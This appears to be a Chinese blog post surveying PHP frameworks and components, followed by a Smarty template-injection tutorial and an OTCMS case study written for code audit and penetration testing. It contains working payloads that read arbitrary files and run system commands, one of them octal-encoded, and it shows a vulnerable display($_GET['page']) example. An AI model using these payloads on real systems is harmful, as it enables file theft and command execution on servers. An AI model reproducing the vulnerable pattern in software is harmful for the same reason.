Web開發-PHP應用組件框架前端模版渲染三方插件富文本編輯器CVE審計

類別

組件/框架

說明

[Web框架]

Laravel

現代化、功能全面的框架,適合大多數Web應用。

Symfony

高度模塊化、功能強大的框架,適合復雜應用。

CodeIgniter

輕量級框架,適合快速開發。

Zend Framework (Laminas)

企業級框架,適合大規模應用,具有高擴展性和性能。

Yii

高性能框架,適合快速開發和大規模應用。

[數據庫組件]

Doctrine ORM

強大的ORM工具,支持復雜的查詢和映射。

Eloquent ORM

Laravel內置ORM,簡化數據庫操作。

PDO

PHP的數據庫抽象層,支持多種數據庫引擎。

RedBeanPHP

輕量級ORM,自動創建和管理數據庫表。

[模板引擎]

Twig

靈活、現代的模板引擎,常用于Symfony項目。

Blade

Laravel內置模板引擎,支持模板繼承和控制結構。

Smarty

經典模板引擎,適合中大型項目。

Mustache

輕量級跨語言模板引擎,支持PHP、JavaScript等。

[路由組件]

FastRoute

高性能PHP路由庫,適用于小型應用和API。

AltoRouter

輕量級路由庫,適合小型項目,易于配置。

Symfony Routing

Symfony的路由組件,適合復雜應用。

[認證與授權]

OAuth2 Server PHP

實現OAuth2協議的PHP庫,適用于API認證。

JWT (JSON Web Token)

輕量級身份驗證方案,適合API認證。

PHP-Auth

簡單的用戶認證庫,適用于中小型Web應用。

[支付集成]

Stripe PHP SDK

集成Stripe支付功能,支持信用卡支付、訂閱等。

PayPal SDK for PHP

集成PayPal支付功能,支持支付、退款等。

[郵件發送]

PHPMailer

功能強大的郵件發送庫,支持SMTP、POP3等協議。

SwiftMailer

另一款流行的郵件發送庫,支持多種郵件功能。

Mailgun PHP SDK

Mailgun的官方SDK,用于通過Mailgun API發送郵件。

[文件管理]

Flysystem

文件存儲抽象庫,支持多種存儲方式(如本地、Amazon S3、FTP等)。

Symfony Filesystem

Symfony的文件系統組件,提供簡單的文件操作API。

Intervention Image

圖片處理庫,支持裁剪、調整大小、水印等功能。

[緩存與性能]

Redis

內存數據存儲系統,用于緩存、消息隊列等,提升性能。

Memcached

內存緩存系統,適用于高并發應用。

Symfony Cache

Symfony緩存組件,支持多種緩存后端。

Laravel Cache

Laravel內置緩存系統,提升Web應用性能。

[日志管理]

Monolog

強大的日志庫,支持多種日志渠道(如文件、數據庫、郵件等)。

Log4PHP

Apache Log4j的PHP實現,適用于復雜日志功能。

[任務隊列]

Laravel Queue

Laravel內置隊列系統,支持延遲任務、異步處理。

Resque

基于Redis的任務隊列庫,適用于異步任務處理。

RabbitMQ

開源消息代理服務,用于任務調度和消息傳遞。

[WebSocket與實時通信]

Ratchet

用于實現WebSocket服務,適合在線聊天、實時通信。

Swoole

高性能協程框架,支持WebSocket、TCP、UDP等協議,適用于高并發實時應用。

[測試與調試]

PHPUnit

PHP標準單元測試框架,廣泛用于自動化測試。

Xdebug

PHP調試工具,支持堆棧跟蹤、性能分析、斷點調試等功能。

[富文本編輯器]

KindEditor

一個輕量級且功能豐富的富文本編輯器,支持圖片上傳、插入視頻等,適用于PHP開發的Web項目。

TinyMCE

開源的富文本編輯器,支持多種格式的文本編輯,插件豐富,易于集成。

CKEditor

高度可定制的富文本編輯器,支持圖片、文件上傳、富文本格式化等功能,廣泛用于Web項目中。

Froala Editor

輕量級、現代的富文本編輯器,支持圖像處理、視頻嵌入、內嵌富文本等,適合復雜的Web應用。

Quill

開源富文本編輯器,功能強大、輕量級,支持圖片、視頻、格式設置等功能,適合單頁面應用。

Summernote

基于jQuery的輕量級富文本編輯器,支持文本格式化、圖片上傳等,適合中小型Web項目。

Trumbowyg

輕量級的富文本編輯器,功能簡單但支持基本的文本編輯、圖片上傳、視頻插入等。

Redactor

現代的富文本編輯器,功能豐富,支持圖片、文件上傳等,適合多種Web應用。

[圖片上傳組件]

Dropzone.js

支持拖拽上傳和多文件上傳的JavaScript庫,易于與PHP集成,常用于圖片、文件上傳功能。

FilePond

高度可定制的文件上傳庫,支持圖片預覽、驗證、上傳進度等,適合需要精美上傳功能的Web項目。

Fine Uploader

支持多種文件上傳方式的組件,支持多文件上傳、拖拽上傳,支持PHP處理后臺。

Plupload

支持多種文件上傳方式(包括HTML5和Flash),可以與PHP后臺集成,廣泛用于Web應用中。

[圖片處理組件]

ImageMagick

強大的圖像處理庫,支持圖像格式轉換、剪裁、旋轉、加水印等多種功能,適用于PHP處理圖像。

GD Library

PHP內置圖像處理庫,支持圖像創建、縮放、裁剪、色調調整等功能。

Intervention Image

PHP圖像處理庫,支持裁剪、縮放、加水印等,易于與Laravel集成。

1、模版引擎

在開始介紹Smarty之前先了解一下模板引擎,模板引擎是為了讓前端界(html)與程序代碼(php)分離而產生的一種解決方案,簡單來說就是html文件里再也不用寫php代碼了。Smarty的原理是變量替換原則,我們只需在html文件寫好Smarty的標簽即可,例{name},然后調用Smarty的方法傳遞變量參數即可。

模版使用案例:

Php模版框架:Smarty、Twig,codeeval等

python模版框架:jinja2、mako、tornad、Django等

Java模版框架:Thymeleaf、jade、velocity、FreeMarker等

JavaScript模版框架:doT,Nunjucks,Pug,Marko,EJS,Dust等

安全漏洞影響:

SSTI(Server Side Template Injection,服務器端模板注入)

搭建這個網站,看一下這個頁面

這里就有提示,看這個Title

這里就是替換,這里改掉頁面就會隨之改變

下載:https://github.com/smarty-php/smarty/releases

使用:

1、創建一個文件夾,命名為smarty-demo。

2、下載Smarty對應版本并解壓縮到該文件夾中。

3、創建一個PHP文件,命名為index.php,并在文件中添加以下代碼:

<?php

// 引入 Smarty 類文件

require('smarty-demo/libs/Smarty.class.php');

// 創建 Smarty 實例

$smarty=newSmarty;

// 設置 Smarty 相關屬性

$smarty->template_dir='smarty-demo/templates/';

$smarty->compile_dir='smarty-demo/templates_c/';

$smarty->cache_dir='smarty-demo/cache/';

$smarty->config_dir='smarty-demo/configs/';

// 賦值變量到模板中

$smarty->assign('title','歡迎使用 Smarty');

// 顯示模板

$smarty->display('index.tpl');

?>

4、創建一個名為index.tpl的模板文件,并將以下代碼復制到上述點定義文件夾中

<!DOCTYPE html>

<html>

<head>

<title>{$title}</title>

</head>

<body>

<h1>{$title}</h1>

<p>這是一個使用 Smarty 的例子。</p>

</body>

</html>

因此就能得到一些安全問題,注入漏洞,比如說渲染文件受控,這里我做一下解釋,就是設置Smarty相關屬性這里,就是生成的文件保存位置,再往下賦值變量到模板中,就是一個鍵名對應一個鍵值,title對應Smarty。最后就是顯示模板,這里顯示模板就去調用了index.tpl文件,我們當前文件是demo.php,通過這個$smarty->display($_GET['page'])這個點就能實現任意文件讀取

這里我們試試poc,看一下具體實現方法

<?php
require 'smarty4/libs/Smarty.class.php';
$smarty = new Smarty;// 設置 Smarty 相關屬性
$smarty->template_dir = 'smarty4/templates/';
$smarty->compile_dir = 'smarty4/templates_c/';
$smarty->cache_dir = 'smarty4/cache/';
$smarty->config_dir = 'smarty4/configs/';
// 賦值變量到模板中
$smarty->assign('title', 'Smarty');
$smarty->assign('css', 'styles.css');
// 顯示模板
$smarty->display('index.tpl');
//受控的渲染頁面文件
$smarty->display($_GET['page']);//白盒代碼審計的思路:
//1、使用smarty模版引擎
//2、版本存在已知的CVE漏洞
//3、可控的渲染文件或變量//黑盒滲透測試的思路
//x.php?page= url=  index.tpl index.html
把poc傳到傳參點嘗試

poc:

string:{include file='C:/Windows/win.ini'}

poc:

string:{function name='x(){};system(whoami);function '}{/function}

poc:

string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}

poc總結:這些poc不難看出,都是一些文件可控

這里切換成smarty4版本依然可以的

這里能看到配置文件

這里我們打開看一下就能發現是相應的payload,string:{include file='C:/Windows/win.ini'}

再來看一個源碼*/phpinfo();//,這個就是payload能注入成功的原因,就是原本是/*"test:"*/,

然后我們構造的時候,就是/*"test:*/phpinfo();//"*/,把前面的閉合了,然后//把后面的注釋了

懂了噻

#渲染文件受控

CVE參考:

https://xz.aliyun.com/t/11108

https://www.cnblogs.com/magic-zero/p/8351974.html

*/phpinfo();//

string:{include file='C:/Windows/win.ini'}

string:{function name='x(){};system(whoami);function '}{/function}

string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}

eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}

2、插件組件

編輯器,郵箱,圖片處理等(見上圖)

使用:

https://www.cnblogs.com/qq350760546/p/6669112.html

參考:

https://www.cnblogs.com/linglinglingling/p/18040866

https://blog.csdn.net/weixin_58099903/article/details/125810825

3、案例:

代碼審CMS:(由第三方應用引用導致安全問題)

用了第三方插件、模板、組件等,引用了就會有相關漏洞

-網鈦(OTCMS):

https://xz.aliyun.com/t/13432

-Kindeditor:https://www.cnblogs.com/TaoLeonis/p/14899198.html

搭建一下這個平臺

payload:

{otcms:$smarty.template_object->smarty->_getSmartyObj()->display('string:{otcms:system(calc)}')}

這里插入payload,記得要改一下頭,不是string,改成otcms即可,彈一個計算器嘗試一下

然后保存一下

ok,成功彈出計算器

看下源碼,這里是smart模板,為了有更好的兼容性還判斷了一下php版本,php版本小于7.1大于4.x調用smarty

這里順著上面的目錄就能找到了我們執行的命令,cache/smarty/templates_c目錄下的就是

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/91466.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/91466.shtml
英文地址,請注明出處:http://en.pswp.cn/web/91466.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Spring Boot Actuator 保姆級教程

1. 引言 Spring Boot Actuator 是一個功能強大的監控工具&#xff0c;能夠幫助開發者監控和管理應用的運行狀態。通過 Actuator&#xff0c;我們可以輕松獲取應用的健康狀況、配置信息、性能指標等。本文將一步步引導你如何配置和使用 Actuator&#xff0c;以及如何通過它來監控…

使用 whisper, 音頻分割, 初步嘗試,切割為小塊,效果還不錯 1

對于一首歌而言,如何斷句?即,一個 mp4 或是 mp3 文件,或是一段錄音, 如何使用程序,或是 ai 來斷句。分割為一句一句的片段??如果人工來分割,一般是使用 capcut 之類的剪輯軟件。但是效率太慢了。所以我想能否設計一個簡潔的,自動的程序來處理。這種事情,專業的名稱…

AD2S1210的DOS LOT含義

一、??信號質量監控類寄存器????LOT閾值&#xff08;0x88&#xff09;????作用??&#xff1a;設定信號丟失&#xff08;Loss of Signal&#xff09;的判定門檻。??場景??&#xff1a;當正弦或余弦輸入信號幅值低于此值時&#xff0c;芯片認為信號丟失&#xff…

Au速成班-多軌編輯流程

基礎編輯工作流&#xff0c;包含文件導入&#xff0c;導出&#xff0c;音量調節&#xff0c;部分效果添加。 創建多軌會話 設置工程文件名稱、文件位置、采樣率、位深度、主控等。 界面管理 &#xff0c;界面說明詳細可看 Au速成班-基礎篇_au界面介紹-CSDN博客 音量調節點擊…

Rust實現GPU驅動的2D渲染引擎

當傳統CPU渲染遭遇性能瓶頸時&#xff0c;GPU驅動的架構正在革新2D圖形領域。本文將深入解析用Rust編寫的??完全GPU驅動的2D渲染引擎Vello??&#xff0c;揭秘其如何通過并行計算實現絲滑渲染。 一、GPU Driven革命&#xff1a;為何是Vello&#xff1f; 傳統渲染的瓶頸 傳…

【ELasticsearch】溫、冷數據節點能是同一個節點嗎

溫、冷數據節點能是同一個節點嗎1.節點角色與分層存儲原理2.一個節點能否同時是 “溫” 和 “冷” 節點 &#xff1f;3.為什么通常不是最佳實踐 &#xff1f;4.可能的適用場景&#xff08;非常有限&#xff09;5.結論在 Elasticsearch 中&#xff0c;理論上&#xff0c;一個物理…

報錯:selenium.common.exceptions.ElementNotInteractableException: Message

針對該錯誤&#xff0c;以下是分步解決方案&#xff1a; 1. 顯式等待確保元素可交互 from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC# 等待元素可點…

sqli-labs:Less-10關卡詳細解析

1. 思路&#x1f680; 本關的SQL語句為&#xff1a; $id ".$id."; $sql"SELECT * FROM users WHERE id$id LIMIT 0,1";注入類型&#xff1a;字符串型&#xff08;雙引號包裹&#xff09;提示&#xff1a;參數id需以"閉合 php回顯輸出語句的代碼如…

imx6ull-驅動開發篇5——新字符設備驅動實驗

目錄 前言 新字符設備驅動原理 申請設備號 注冊設備號 釋放設備號 注冊方法 字符設備結構cdev cdev_init 函數 cdev_add 函數 cdev_del 函數 自動創建設備節點 mdev 機制 類創建函數 類刪除函數 創建設備函數 刪除設備函數 設置文件私有數據 實驗程序編寫 l…

2025年最新SCI-灰熊增脂優化器(Grizzly Bear Fat Increase, GBF)-附完整Matlab免費代碼

1、簡介 本文介紹了一種新的受自然啟發的優化算法&#xff0c;稱為灰熊增脂優化器&#xff08;GBFIO&#xff09;。GBFIO算法模仿灰熊積累體脂為過冬做準備的自然行為&#xff0c;利用它們的狩獵、捕魚和吃草、蜂蜜等策略。因此&#xff0c;GBFIO算法建模并考慮了三個數學步驟來…

Python爬蟲02_Requests實戰網頁采集器

一、Request請求偽裝解析 #UA&#xff1a;User-Agent&#xff08;請求載體身份標識&#xff09; #UA檢測&#xff1a;門戶網站的服務器會檢測對應請求的載體身份標識&#xff0c;如果檢測到請求的載體身份呢標識為某一款瀏覽器&#xff0c;說明該請求是一個正常的請求&#xff…

vue+elementui實現問卷調查配置可單選、多選、解答

效果&#xff1a;<template> <div><el-form :inline"true" :model"form" :rules"rules" ref"ruleForm"> <el-tabs type"border-card" v-model"cardType"><el-tab-pane name"1&qu…

Docker初學者需要了解的幾個知識點(三):Docker引擎與Docker Desktop

Docker引擎與Docker Desktop簡單說&#xff1a;Docker 引擎是干活的 “核心工具”&#xff0c;負責實際創建、運行容器&#xff0c;就像汽車的發動機&#xff0c;沒它跑不起來。Docker Desktop是個 “套裝軟件”&#xff0c;它把 Docker 引擎打包進去了&#xff0c;還加了圖形化…

Python將Word轉換為Excel

現有大量的Word文檔&#xff0c;每個文檔中有大量的表格&#xff0c;需要將其轉換為Excel。 Python處理源碼 # 需要安裝pip install xlsxwriter import pandas as pd from docx import Document from pathlib import Path from datetime import datetimedef process_docx(filep…

攀爬誤報率↓82%!陌訊多模態算法在周界防護的實戰解析

?摘要?? 原創聲明 本文解析邊緣計算優化下陌訊視覺算法在攀爬識別場景的魯棒性提升&#xff0c;實測數據來自陌訊技術白皮書&#xff08;2025&#xff09;。針對傳統安防系統在復雜光影、姿態變化中的誤檢問題&#xff0c;重點闡述動態決策機制與輕量化部署方案&#xff0c;…

Redis 存在哪些問題

內存相關問題 1. 內存消耗大 無壓縮機制&#xff1a;數據以明文形式存儲&#xff0c;占用內存較大元數據開銷&#xff1a;每個key-value對都有額外的元數據開銷內存碎片&#xff1a;頻繁的更新操作可能產生內存碎片 2. 內存容量限制 單機容量受限&#xff1a;受限于單臺服務器的…

ECMAScript2025(ES16)新特性

概述 ECMAScript2025于2025年6月26日正式發布&#xff0c; 本文會介紹ECMAScript2025(ES16)&#xff0c;即ECMAScript的第16個版本的新特性。 以下摘自官網&#xff1a;ecma-262 ECMAScript 2025, the 16th edition, added a new Iterator global with associated static and…

Vim 編輯器工作模式及操作指南

Vim 編輯器工作模式及操作指南 一、工作模式概述 Vim編輯器主要包含四種工作模式&#xff0c;分別是&#xff1a; 命令模式&#xff08;默認進入模式&#xff09;輸入模式&#xff08;編輯模式&#xff09;末行模式&#xff08;指令模式&#xff09;可視模式 二、模式切換及操作…

Rabbitmq中常見7種模式介紹

p&#xff1a;生成者&#xff0c;生成消息的程序c&#xff1a;消費者&#xff0c;消費消息的程序Queue&#xff1a;消息隊列&#xff0c;用于緩存消息&#xff0c;生產者向里面投遞消息&#xff0c;消費者從里面拿取消息消費X&#xff1a;交換機&#xff0c;在rabbitMQ中&#…

SpringAI 1.0.0發布:打造企業級智能聊天應用

官方文檔 gitee的demo 1、前言 2025年5月&#xff0c;SpringAI 1.0.0終于正式發布。這不僅是另一個普通的庫&#xff0c;更是將Java和Spring推向AI革命前沿的戰略性舉措。給Java生態帶來了強大且全面的AI工程解決方案。眾多企業級應用在SpringBoot上運行關鍵業務&#xff0c…